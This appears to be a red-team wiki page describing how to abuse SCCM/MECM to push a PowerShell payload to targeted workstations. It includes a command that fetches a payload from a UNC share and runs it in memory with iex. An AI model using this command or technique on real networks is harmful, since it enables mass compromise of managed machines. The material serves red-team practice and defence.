> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/windows-hacking/sccm-or-mecm/hack-it/malware-deployment.md).

# Malware Deployment

## Compromise

* Create an application/package that utilizes PowerShell for payload deliery and execution
  * Create a PowerShell payload and throw it up on the public share SCCM uses (i.e. *sccmsource*)

<figure><img src="https://2862490475-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCKp14jVUu79ovRyJ9YuQ%2Fuploads%2FaUsOceTURu1s9C5hpX9P%2Fimage.png?alt=media&amp;token=44de7690-8adf-40a5-916f-0e0a14324c95" alt=""><figcaption></figcaption></figure>

{% embed url="<https://enigma0x3.net/2015/10/27/targeted-workstation-compromise-with-sccm/>" %}
Tutorial
{% endembed %}

* Create a Script installer application to fetch and execute your payload :
  * `cmd.exe /c "powershell.exe -c "gc \\serverName\sharedFolder\ApplicationFolder\payload.txt | iex""`
* Deploy the application to your target group and wait for the SCCM agents to check in
  * Payload is fetched over UNC and runs in memory

## Sources

[Red Team upgrades using SCCM for Malware Deployment - SlideShare](https://www.slideshare.net/enigma0x3/red-team-upgrades-using-sccm-for-malware-deployment-57117235)